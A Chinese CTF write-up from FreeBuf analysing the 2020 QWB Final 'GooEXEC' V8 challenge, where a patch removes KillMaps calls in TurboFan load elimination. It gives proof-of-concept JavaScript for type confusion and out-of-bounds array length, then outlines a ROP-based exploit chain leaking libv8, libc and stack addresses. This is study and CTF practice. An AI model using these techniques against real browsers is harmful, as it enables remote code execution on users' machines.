freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Chrome Pwn ____ 2020 QWB Final GooEXEC(原创)
2020-12-22 11:52:16

2020 QWB GOOEXEC -> chrome

浏览器的新手,发布文章是希望大佬们批评指正

@Wi1L  邮箱:785286003@qq.com


0 环境搭建

首先确定v8的版本

image-20201112142507463

然后对应拉取文件,打补丁,编译

image-20201112145135720


1 内存情况

本部分主要搞清楚BigUint64Array、object、arr的分布情况


演示脚本

var obj_array = {m:0xdead,n:'a'};
var big_uint_array = new BigUint64Array(6);
big_uint_array[0] = 0x1234n;
big_uint_array[1] = 0x5678n;

//console.log("oob_array len " + oob_array.length);
%DebugPrint(obj_array);
%DebugPrint(big_uint_array);


%SystemBreak();


BigUint64Array

image-20201120195551995



object_array

hex(0xdead<<1) ===> '0x1bd5a'

in-object的情况下

image-20201120195852615


下面看一个脚本

a = [0.1];
%DebugPrint(a);
%SystemBreak();
a[0] = {};
%DebugPrint(a);
%SystemBreak();

起初的内存情况

image-20201202171237709

之后的内存情况

image-20201202171255057

image-20201202171308702

通过上图,我们可以看到,如果此时还可以通过double数组的形式访问a[0],那么这个a[0]实际上就是上图的map处,形成类型混淆,这里可以拓展下,其实是修改4字节


2 背景知识


源码中的一些类、结构
// Abstract state to approximate the current map of an object along the
// effect paths through the graph. <===沿着effect path推测一个object可能的map 放到state中
class AbstractMaps final : public ZoneObject {
public:
explicit AbstractMaps(Zone* zone);
AbstractMaps(Node* object, ZoneHandleSet<Map> maps, Zone* zone);

AbstractMaps const* Extend(Node* object, ZoneHandleSet<Map> maps,
Zone* zone) const;
bool Lookup(Node* object, ZoneHandleSet<Map>* object_maps) const;
AbstractMaps const* Kill(const AliasStateInfo& alias_info,
Zone* zone) const;
bool Equals(AbstractMaps const* that) const {
return this == that || this->info_for_node_ == that->info_for_node_;
}
AbstractMaps const* Merge(AbstractMaps const* that, Zone* zone) const;

void Print() const;

private:
ZoneMap<Node*, ZoneHandleSet<Map>> info_for_node_;  <====这个是所有可能map的set
};







内存申请的总结

a = [1.1,2.2];

这个时候如果

a[0] = {};

1 、在内存中会重新申请element空间,

2、整体的element架构{map 、length、object_ptr 、double_heap_number_ptr}

详见ppt 下面也有double+SMI的情况 内存分布




checkmaps

参考先知的一篇文章

v8 exploit - RealWorld CTF2019 accessible - 先知社区 (aliyun.com)

对于JS类型的不稳定性,v8中有两种方式被用来保证runtime优化代码中对类型假设的安全性

  1. 通过添加CheckMaps节点来对类型进行检查,当类型不符合预期时将会bail out

  2. 以dependency的方式。将可能影响map假设的元素添加到dependencies中,通过检查这些dependency的改变来触发回调函数进行deoptimize





3 漏洞分析

这里先给一下我的理解,patch文件删除的地方是一个state = state->KillMaps(alias_info, zone());,这个函数的作用是

对AbstractState进行一个更新。具体更新的内容是,检查node,如果两个node对应一个对象的话,其中一个node的map信息发生变化,对应的另一个node的map信息进行killmaps






LoadElimination::AbstractState const* LoadElimination::AbstractState::KillMaps(
const AliasStateInfo& alias_info, Zone* zone) const {
if (this->maps_) {
AbstractMaps const* that_maps = this->maps_->Kill(alias_info, zone);//这里是对state对应的maps进行kill
if (this->maps_ != that_maps) {
AbstractState* that = zone->New<AbstractState>(*this);
that->maps_ = that_maps;
return that;//这里返回的是一个state
}
}
return this;
}


上面的kill函数对应的就是下面这个
LoadElimination::AbstractMaps const* LoadElimination::AbstractMaps::Kill(
const AliasStateInfo& alias_info, Zone* zone) const {
for (auto pair : this->info_for_node_) {//遍历
if (alias_info.MayAlias(pair.first)) {
AbstractMaps* that = zone->New<AbstractMaps>(zone);//maps zone
for (auto pair : this->info_for_node_) {
if (!alias_info.MayAlias(pair.first)) that->info_for_node_.insert(pair);
}
return that;//这里返回的是map的set
}
}
return this;
}
info_for_node_指的是一个Node可能的map的set
MayAlias 是判断两个是不是Node可能对应一个对象
pair  可以存放两个任意类型的object
LoadElimination::AbstractMaps::Kill 的作用是删掉所有可能对应同一个对象的alias_Node
所以整个LoadElimination::AbstractState::KillMaps在这里是:如果一个Node的map类型改变了,其别名Node的map应该被kill掉,patch中删掉了这个,可能使得两个是同一个对象的Node对应的maps值不同,造成类型混淆



针对reduceCheckmap

Reduction LoadElimination::ReduceCheckMaps(Node* node) {
ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
Node* const object = NodeProperties::GetValueInput(node, 0);
Node* const effect = NodeProperties::GetEffectInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
ZoneHandleSet<Map> object_maps;
// 假如object_maps的Map信息并不完整,可能导致maps.contains错误地返回true
if (state->LookupMaps(object, &object_maps)) {
if (maps.contains(object_maps)) return Replace(effect); <=====如果走到这里就删掉了checkmap
// TODO(turbofan): Compute the intersection.
}
state = state->SetMaps(object, maps, zone());
return UpdateState(node, state);
}



maps.contains(object_maps)这个的作用是前面是不是包含后面


maps是之前进行过一次store操作对应的map
object_maps是当前state针对具体的Node推测的map信息
根据poc,前面b[0] = 1.1 所以maps应该对应fix_double_array,由于b数组一直没有改变,所以其state推测没有变,但是对应位置的内存被a数组修改了,从而造成类型混淆。这里由于killmaps删除了,如果不删除这个的话,a数组修改内存时也会导致object_maps发生变化,从而bail out




过程

贴一下patch脚本

diff --git a/src/compiler/load-elimination.cc b/src/compiler/load-elimination.cc
index ff79da8c86..8effdd6e15 100644
--- a/src/compiler/load-elimination.cc
+++ b/src/compiler/load-elimination.cc
@@ -866,8 +866,8 @@ Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
object_maps.remove(source_map, zone());
object_maps.insert(target_map, zone());
-     AliasStateInfo alias_info(state, object, source_map);
-     state = state->KillMaps(alias_info, zone());
+     // AliasStateInfo alias_info(state, object, source_map);
+     // state = state->KillMaps(alias_info, zone());
state = state->SetMaps(object, object_maps, zone());
}
} else {
@@ -892,7 +892,7 @@ Reduction LoadElimination::ReduceTransitionAndStoreElement(Node* node) {
if (state->LookupMaps(object, &object_maps)) {
object_maps.insert(double_map, zone());
object_maps.insert(fast_map, zone());
-   state = state->KillMaps(object, zone());
+   // state = state->KillMaps(object, zone());
state = state->SetMaps(object, object_maps, zone());
}
// Kill the elements as well.

从上面可以看出来是个优化漏洞

修改位置对应的函数

Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
ElementsTransition transition = ElementsTransitionOf(node->op());
Node* const object = NodeProperties::GetValueInput(node, 0);
Handle<Map> source_map(transition.source());
Handle<Map> target_map(transition.target());
Node* const effect = NodeProperties::GetEffectInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
switch (transition.mode()) {
case ElementsTransition::kFastTransition:
break;
case ElementsTransition::kSlowTransition:
// Kill the elements as well.
AliasStateInfo alias_info(state, object, source_map);
state = state->KillField(
alias_info, FieldIndexOf(JSObject::kElementsOffset, kTaggedSize),
MaybeHandle<Name>(), zone());
break;
}
ZoneHandleSet<Map> object_maps;
if (state->LookupMaps(object, &object_maps)) {
if (ZoneHandleSet<Map>(target_map).contains(object_maps)) {
// The {object} already has the {target_map}, so this TransitionElements
// {node} is fully redundant (independent of what {source_map} is).
return Replace(effect);
}
if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
object_maps.remove(source_map, zone());
object_maps.insert(target_map, zone());
// AliasStateInfo alias_info(state, object, source_map);
// state = state->KillMaps(alias_info, zone());
state = state->SetMaps(object, object_maps, zone());
}
} else {
AliasStateInfo alias_info(state, object, source_map);
state = state->KillMaps(alias_info, zone());
}
return UpdateState(node, state);
}

从上到下分析函数,记录不会的地方

通过调试,可以发现transition的值以及其source_map与target_map

pwndbg> p transition
$1 = {
  mode_ = v8::internal::compiler::ElementsTransition::kSlowTransition,
  source_ = {
    <v8::internal::HandleBase> = {
      location_ = 0x55bd921c03c8
    }, <No data fields>},
  target_ = {
    <v8::internal::HandleBase> = {
      location_ = 0x55bd921c03e8
    }, <No data fields>}
}

查看node 以及其op的状态

pwndbg> p *node
$6 = {
  static kOutlineMarker = 15,
  static kMaxInlineCapacity = 14,
  op_ = 0x55b73b589a10,
  type_ = {
    payload_ = 0
  },
  mark_ = 26,
  bit_field_ = 855638065,
  first_use_ = 0x55b73b589af8
}
pwndbg> p *node->op_
$7 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::Operator:
  _vptr$Operator = 0x7f48ded306b0 <vtable for v8::internal::compiler::Operator1<v8::internal::compiler::ElementsTransition, v8::internal::compiler::OpEqualTo<v8::internal::compiler::ElementsTransition>, v8::internal::compiler::OpHash<v8::internal::compiler::ElementsTransition> >+16>,
  mnemonic_ = 0x7f48dc157777 "TransitionElementsKind",
  opcode_ = 293,
  properties_ = {
    mask_ = 32 ' '
  },
  value_in_ = 1,
  effect_in_ = 1,
  control_in_ = 1,
  value_out_ = 0,
  effect_out_ = 1 '\001',
  control_out_ = 0
}



(1) node的effect?

Node* const effect = NodeProperties::GetEffectInput(node);




(2) 源码与内存匹配解读

Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
  ElementsTransition transition = ElementsTransitionOf(node->op());
  Node* const object = NodeProperties::GetValueInput(node, 0); <=====这里是a
  Handle<Map> source_map(transition.source());<===fixed_double
  Handle<Map> target_map(transition.target());<===object
  Node* const effect = NodeProperties::GetEffectInput(node);
  AbstractState const* state = node_states_.Get(effect);
  if (state == nullptr) return NoChange();
  switch (transition.mode()) {
    case ElementsTransition::kFastTransition:
      break;
    case ElementsTransition::kSlowTransition:
      // Kill the elements as well.
      AliasStateInfo alias_info(state, object, source_map);
      state = state->KillField(
          alias_info, FieldIndexOf(JSObject::kElementsOffset, kTaggedSize),
          MaybeHandle<Name>(), zone());
      break;
  }
  ZoneHandleSet<Map> object_maps;
  if (state->LookupMaps(object, &object_maps)) {<========这里进行了赋值object_maps是fixed_double
    if (ZoneHandleSet<Map>(target_map).contains(object_maps)) {<==这里检测object是不是包含fixed_double
      // The {object} already has the {target_map}, so this TransitionElements
      // {node} is fully redundant (independent of what {source_map} is).
      return Replace(effect);
    }
    if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {<=这里检测fixed_double是不是包含fixed_double
        //如果包含就进行map的替换,同时更改其别名Node的map(但是这里被删了)
        
      object_maps.remove(source_map, zone());
      object_maps.insert(target_map, zone());
      // AliasStateInfo alias_info(state, object, source_map);
      // state = state->KillMaps(alias_info, zone());
      state = state->SetMaps(object, object_maps, zone());
    }
  } else {
    AliasStateInfo alias_info(state, object, source_map);
    state = state->KillMaps(alias_info, zone());
  }
  return UpdateState(node, state);
}






(3) 对ReduceCheckMap的调试 (感觉这个比较关键,需要知道每一个变量是啥,然后追两个函数)

Reduction LoadElimination::ReduceCheckMaps(Node* node) {
  ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps(); <===之前的fixed_double
  Node* const object = NodeProperties::GetValueInput(node, 0);
  Node* const effect = NodeProperties::GetEffectInput(node);
  AbstractState const* state = node_states_.Get(effect);
  if (state == nullptr) return NoChange();
  ZoneHandleSet<Map> object_maps;
  if (state->LookupMaps(object, &object_maps)) { <=====我跟进了lookupmaps函数  <========这里进行了赋值object_maps是fixed_double  <====当前的状态map
    if (maps.contains(object_maps)) return Replace(effect); <====追一下contains函数 <===之前的状态map是不是含有当前的状态map
    // TODO(turbofan): Compute the intersection.
  }
  state = state->SetMaps(object, maps, zone());
  return UpdateState(node, state);
}









poc.js

--no-enable-slow-asserts

/*************************************************************
//set args --allow-natives-syntax ../../../codejs/2020_qwb_Goo/poc1.js --no-enable-slow-asserts

************************************************************/
function opt(a, b) {

  b[0] = 0;
  a.length;

  // TransitionElementsKind
  a[0] = 0;

  b[0] = 9.431092e-317;
};

%PrepareFunctionForOptimization(opt);
let holey_obj_arr = new Array(1);
holey_obj_arr[0] = 'a';

let packed_double_arr1 = [1.1]
opt(holey_obj_arr, packed_double_arr1);
opt(holey_obj_arr, packed_double_arr1);

let packed_double_arr2 = [2.2]
opt(packed_double_arr2, packed_double_arr1);
opt(packed_double_arr2, packed_double_arr1);
%OptimizeFunctionOnNextCall(opt);

let evil_arr = [0.1];
%SystemBreak();
readline();
%DebugPrint(evil_arr);
opt(evil_arr, evil_arr);
%DebugPrint(evil_arr);
print(evil_arr[0]);


看一下POC导致的内存变化

之前的内存情况

DebugPrint: 0x23c008148981: [JSArray]
 - map: 0x23c0083038fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x23c0082cb529 <JSArray[0]>
 - elements: 0x23c008148971 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x23c0080426dd <FixedArray[0]> {
    0x23c008044649: [String] in ReadOnlySpace: #length: 0x23c008242159 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x23c008148971 <FixedDoubleArray[1]> {
           0: 0.1
 }
0x23c0083038fd: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x23c0083038d5 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x23c008242445 <Cell value= 1>
 - instance descriptors #1: 0x23c0082cb9dd <DescriptorArray[1]>
 - transitions #1: 0x23c0082cba29 <TransitionArray[4]>Transition array #1:
     0x23c008044f5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x23c008303925 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x23c0082cb529 <JSArray[0]>
 - constructor: 0x23c0082cb2c5 <JSFunction Array (sfi = 0x23c00824f7a5)>
 - dependent code: 0x23c0080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

image-20201202165345657

image-20201202165422507

之后的情况

DebugPrint: 0x23c008148981: [JSArray]
 - map: 0x23c008303975 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x23c0082cb529 <JSArray[0]>
 - elements: 0x23c0081489cd <FixedArray[1]> [HOLEY_ELEMENTS]
 - length: 1
 - properties: 0x23c0080426dd <FixedArray[0]> {
    0x23c008044649: [String] in ReadOnlySpace: #length: 0x23c008242159 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x23c0081489cd <FixedArray[1]> {

脚本中a[0] = {},对于内存的变化是FixedDoubleArray ===> FixedArray,从而element指针也进行了重新内存分配

但是由于漏洞,b[0] = 9.431092e-317时;会将这个对象当作数组处理,从而使得这个指针指向的位置被修改成我们的值。

image-20201202165717730

image-20201202165956131

可以从上图中看出,map信息被修改了



针对2019大佬师傅blog的理解

执行arr2[0]=1.1,此时因为state仍然认为arr2是FixedDoubleArray的Map,所以会把的unboxed array的store操作前面的CheckMaps给删除掉。但是此时arr2的Element已经是FixedArray了,那么等于把一个unboxed double写入了一个存放指针的slot,即再访问arr[0]就可以产生类型混淆了
这里的unboxed array指的就是arr数组, unboxed double就是指向arr具体元素的指针(在内存里看,就是element指针)



这段话使用poc具体的调试一下

实际上这个并没有触发第3步,所生成的store操作是把一个double object的指针存放到FixedArray里面去,而不是直接存unboxed double。卡了很久之后,我猜想到的原因是在profiling JIT所用的类型信息时,执行arr2[0] = 1.1的时候因为arr2已经是个FixedArray的Array了,所以收集到的就是arr2是<Map(HOLEY_ELEMENTS)>的类型信息,导致生成的就是处理arr2的Element是FixedArray的JIT代码。所以要防止这一点,我们必须得保证在JIT前执行arr2[0] = 1.1的时候arr2必须是<Map(HOLEY_DOUBLE_ELEMENTS)>,

unboxed double指的是直接一次索引(数组element位置存储)存储值,而这里(double object 下图有解释)是一个object指针

现在相当于
array / arr =====>  {map,proto,elememt}
							element===>{map,...,double obj ptr}
											  double obj ptr===>{heapnumber_map,1.1}
而我们想达到的效果是修改double obj ptr位置(这个位置应该是存放一个map)
HOLEY_ELEMENTS相对于HOLEY_DOUBLE_ELEMENTS多了一次索引,即jit并没有成功的将arr2看成一个double_array

poc

function f(arr, arr2)
{
	arr[0] = 1.1;
	arr2[0] = 2.2; // [1]
	arr[0] = {}; // [2]
	arr2[0] = 1.1; // [3]
}

let a;
for (let i = 0; i < 0x2000; i++)
{
	a = Array(0);
	f(a, a);
	a = Array(0);
	f(a, a);
}
a = Array(1);
a[0] = 0.1;
%DebugPrint(a);
%SystemBreak();
f(a, a);
%DebugPrint(a);
%SystemBreak();

print(a[0]);

第一次print

DebugPrint: 0x2825081de289: [JSArray]
 - map: 0x282508303925 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2825082cb529 <JSArray[0]>
 - elements: 0x2825081de2a9 <FixedDoubleArray[1]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x2825080426dd <FixedArray[0]> {
    0x282508044649: [String] in ReadOnlySpace: #length: 0x282508242159 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x2825081de2a9 <FixedDoubleArray[1]> {
           0: 0.1
 }
0x282508303925: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: HOLEY_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x2825083038fd <Map(PACKED_DOUBLE_ELEMENTS)>
 - prototype_validity cell: 0x282508242445 <Cell value= 1>
 - instance descriptors #1: 0x2825082cb9dd <DescriptorArray[1]>
 - transitions #1: 0x2825082cba41 <TransitionArray[4]>Transition array #1:
     0x282508044f5d <Symbol: (elements_transition_symbol)>: (transition to PACKED_ELEMENTS) -> 0x28250830394d <Map(PACKED_ELEMENTS)>

 - prototype: 0x2825082cb529 <JSArray[0]>
 - constructor: 0x2825082cb2c5 <JSFunction Array (sfi = 0x28250824f7a5)>
 - dependent code: 0x2825080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

内存情况

image-20201202205209800

第二次

DebugPrint: 0x2825081de289: [JSArray]
 - map: 0x282508303975 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2825082cb529 <JSArray[0]>
 - elements: 0x2825081de2d5 <FixedArray[1]> [HOLEY_ELEMENTS]
 - length: 1
 - properties: 0x2825080426dd <FixedArray[0]> {
    0x282508044649: [String] in ReadOnlySpace: #length: 0x282508242159 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x2825081de2d5 <FixedArray[1]> {
           0: 0x2825082d2b95 <HeapNumber 1.1>
 }
0x282508303975: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x28250830394d <Map(PACKED_ELEMENTS)>
 - prototype_validity cell: 0x282508242445 <Cell value= 1>
 - instance descriptors (own) #1: 0x2825082cb9dd <DescriptorArray[1]>
 - prototype: 0x2825082cb529 <JSArray[0]>
 - constructor: 0x2825082cb2c5 <JSFunction Array (sfi = 0x28250824f7a5)>
 - dependent code: 0x2825080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

内存情况

image-20201202205813996

改进方法

function f(t1, t2, arr, arr2)
{
	arr[0] = 1.1;
	arr2[0] = 2.2;
	if (t1)
		arr[0] = {};
	if (t2)
		arr2[0] = 13.37;
}
let a;
for (let i = 0; i < 0x2000; i++)
{
	a = Array(0);
	f(true, false, a, a);
	a = Array(0);
	f(false, true, a, a);
}
a = Array(0);
f(true, true, a, a);
print(a[0]);

通过交叉实现目的



4 针对POC尝试

function opt(a, b) {
    b[0] = 0;
  
    a.length;
  
    // TransitionElementsKind
    for (let i = 0; i < 1; i++)
        a[0] = 0;
  
    b[0] = 9.431092e-317;
  }
  
  let arr1 = new Array(1);
  arr1[0] = 'a';
  opt(arr1, [0]);
  
  let arr2 = [0.1];
  opt(arr2, arr2);
  %SystemBreak();
  %OptimizeFunctionOnNextCall(opt);
  
  opt(arr2, arr2);
//   assertEquals(9.431092e-317, arr2[0]);
print (arr2[0]);
	

首先这个poc起初没有成功断在源码的位置,这就是个问题,之前确实成功断了下来,但是现在有点迷

因为这个poc是针对799263的,并不是我们要调试的qwb

另一个poc.js,这个主要是明白修改四字节导致数组溢出(主要是明白指针压缩)

function foo(a, b) {
    let tmp = {};
    b[0] = 0;
    a.length;
    for(let i=0; i<a.length; i++){
        a[i] = tmp;
    }
    let o = [1.1];
    b[15] = 4.063e-320;//这里改的是后32位 , 虽然数组操作是64位的
    return o;
}
let arr_addr_of = new Array(1);
arr_addr_of[0] = 'a';

for(let i=0; i<10000; i++) {
    eval(`var tmp_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];`);
    foo(arr_addr_of, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
    foo(tmp_arr, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
}

var float_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];
%DebugPrint(float_arr);
%SystemBreak();
var oob_array = foo(float_arr, float_arr, {});
%DebugPrint(float_arr);
%SystemBreak();
console.log(oob_array.length);

这样构造的原因见 resource/2020qwbGoo.pdf


第一次

DebugPrint: 0x1d45081e1ef9: [JSArray]
 - map: 0x1d45083038fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x1d45082cb529 <JSArray[0]>
 - elements: 0x1d45081e1e39 <FixedDoubleArray[23]> [PACKED_DOUBLE_ELEMENTS]
 - length: 23
 - properties: 0x1d45080426dd <FixedArray[0]> {
    0x1d4508044649: [String] in ReadOnlySpace: #length: 0x1d4508242159 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x1d45081e1e39 <FixedDoubleArray[23]> {
           0: 1.1
           1: 2
           2: 3
           3: 4
           4: 5
           5: 6
           6: 7
           7: 8
           8: 9
           9: 10
          10: 11
          11: 12
          12: 13
          13: 15
          14: 16
          15: 17
          16: 18
          17: 19
          18: 20
          19: 21
          20: 22
          21: 23
          22: 24
 }
0x1d45083038fd: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x1d45083038d5 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x1d4508242445 <Cell value= 1>
 - instance descriptors #1: 0x1d45082cb9dd <DescriptorArray[1]>
 - transitions #1: 0x1d45082cba29 <TransitionArray[4]>Transition array #1:
     0x1d4508044f5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1d4508303925 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x1d45082cb529 <JSArray[0]>
 - constructor: 0x1d45082cb2c5 <JSFunction Array (sfi = 0x1d450824f7a5)>
 - dependent code: 0x1d45080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

内存情况

image-20201202211052499

第二次

DebugPrint: 0x1d45081e1ef9: [JSArray]
 - map: 0x1d4508303975 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1d45082cb529 <JSArray[0]>
 - elements: 0x1d45081e1f25 <FixedArray[23]> [HOLEY_ELEMENTS]
 - length: 23
 - properties: 0x1d45080426dd <FixedArray[0]> {
    0x1d4508044649: [String] in ReadOnlySpace: #length: 0x1d4508242159 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x1d45081e1f25 <FixedArray[23]> {
        0-22: 0x1d45081e1f09 <Object map = 0x1d45083022cd>
 }
0x1d4508303975: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x1d450830394d <Map(PACKED_ELEMENTS)>
 - prototype_validity cell: 0x1d4508242445 <Cell value= 1>
 - instance descriptors (own) #1: 0x1d45082cb9dd <DescriptorArray[1]>
 - prototype: 0x1d45082cb529 <JSArray[0]>
 - constructor: 0x1d45082cb2c5 <JSFunction Array (sfi = 0x1d450824f7a5)>
 - dependent code: 0x1d45080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

突然发现忘记打印oobarray了...

重新操作下,简单记录

第一次

image-20201202211633983

第二次

image-20201202211909206

a[0] = {}这样的话在内存中是一个map值(obj的map)







5 How to write exp.js

5.0 v8 free_hook

可以通过 obj->constructor->code->text_addr 的⽅式来获取 text 段地址,有了 text 段地址就可以得到 libc 地址了,有了 libc 地址计算 得到 free hook 以及 system 地址,将 free_hook 改成 system ,然后触发释放就可以了。




5.1 chrome free_hook stack


chrome gdb调试的技巧

一个教程

https://brookhong.github.io/2016/10/09/debug-chrome-with-gdb.html


首先要清楚解析的是html文件,所以文件的名称要是对的

gdb中要设置可以调试子进程

set follow-fork-mode child

此外要开启chrome的调试选项



root下调试chrome,记得如何调整pwn-debug插件



启动chrome 访问我们开的python -m SimpleHttpServer服务,然后ps -axf | grep chrome ,然后root下使用gdb attach线程



做题的过程记录

现在我实现了这样

[+] float arr constructor addr: 0x000000000845e52d
[+] code obj addr: 0x0000000000045661
[+] text addr: 0x00007f403ae39dc0

pwndbg> vmmap 0x00007f403ae39dc0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7f403ae0d000     0x7f403b903000 r-xp   af6000 3bc000 /home/ubuntu2004/now/Release/libv8.so +0x2cdc0

我想泄露enrvion指针得到栈地址,所以我需要libc地址,所以我需要got表项(要被解析过的)

但是在我们找到text_addr的位置使用got命令,出现下面的问题

image-20201128082149107

最终的标准是这样的

var text_base = text_addr - 0x2cdc0n - 0x3bd000n; //
Hprint("[+] ttext_base: "+hex(text_base));


根据命令推测
pwndbg> vmmap 0x00007f403ae39dc0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7f403ae0d000     0x7f403b903000 r-xp   af6000 3bc000 /home/ubuntu2004/now/Release/libv8.so +0x2cdc0  <==================================第一个减的数字

我们要找的地址是下面的libc_base,所以还要减去后面的那个数字

image-20201128082323551

找到了libc_base了,下一步是找到printf_got,因为上面的got命令失效,所以我使用了下面的方法

image-20201128082628767

找到了got,利用任意读,泄露printf地址,进而泄露libc

这一步可以同时找到mprotect的地址

这里的libc指的应该是这个

image-20201128082857784

之后查看environ的地址

image-20201128083219220

通过这个读出栈地址

接下来就是构造rop链的问题

参考exp中使用的是text_base+off,这里尝试找到text_base搜索的方法,(应该也可以使用libc_base)

objdump -d vmlinux > gadget.txt
vi gadget.txt

搜索即可




调试流程

首先起一个chrome

image-20201127234915601

之后正常访问脚本

image-20201127235021865

然后查看进程树

image-20201127235007377

使用root权限开gdb 并附加进程

image-20201127235102522

可能刚开始进程不对应,找到指定进程即可

vim搜索的下一个是 N , 上一个# (回车之后操作)


在找gadgets的时候出现问题,不太会搜gadgets

search -x ..... -e

使用pwndbg进行搜索(不过也可以使用linux内核的那个objdump,这个方法单纯搜ret好用一些,但是这种方法不能拆散之前成组的gadgets)

image-20201129110119929

5a是pop rdx

image-20201129110412134

image-20201129110445156

所以这里写几个汇编的机器码

我们需要的是上面中存在与libcv8.so的(它这个是按地址进行从上到下搜索,所以通过vmmap v8 我们可以知道大概在哪里停下)

这里使用pwntools的asm功能生成

pop rdx,ret ;   5a c3
pop rdi,ret ;   5f c3
pop rsi,ret ;   5e c3
 add rsp 0x78; pop rbx; pop rbp; ret;	4883c4785b5dc3

遇到新的问题,现在当我完成整个脚本的时候,不会调试。整个脚本的情况下,chrome直接崩溃,不给我调试的机会

目前的方法是在ret位置断点,因为chrome一直没有关,所以其实每次的libv8.so基地址相同,断点可以一直断

在我自己写的脚本中,ret一直段不下来

但是当我使用detach,出现/bin/xcalc....迷~~~(这个说明不了什么,说明我attach错了进程罢了)

image-20201129214057599

当我在标准exp脚本的最后加上输出信息时,利用失败,可见最后部分不能随便加东西

字节的脚本crash的位置

RAX  0x834808ec834800c3
 RBX  0x7fff5a9337f8 —▸ 0x2159c9217850 ◂— 0x70007400740068 /* 'h' */
 RCX  0xffffffffffffffa0
 RDX  0x0
 RDI  0x7ffa6495c1ca ◂— ret    
 RSI  0x7fff5a9337f8 —▸ 0x2159c9217850 ◂— 0x70007400740068 /* 'h' */
 R8   0x7aec7a098a0 —▸ 0x1aff0c20dd00 ◂— 0x3300000003
 R9   0x0
 R10  0x7ffa66618506 ◂— '_ZN5blink18MainThreadDebugger15ExceptionThrownEPNS_16ExecutionContextEPNS_10ErrorEventE'
 R11  0x7ffa6788e610 ◂— push   rbp
 R12  0x0
 R13  0x1
 R14  0x7ffa6495c1ca ◂— ret    
 R15  0x33
 RBP  0x7fff5a933830 —▸ 0x7fff5a933860 —▸ 0x7fff5a9338c0 —▸ 0x7fff5a933a50 —▸ 0x7fff5a933a90 ◂— ...
 RSP  0x7fff5a9337f0 ◂— 0x6f63222c3531333a (':315,"co')
 RIP  0x7ffa6d1f2d87 ◂— call   qword ptr [rax + 0x130]
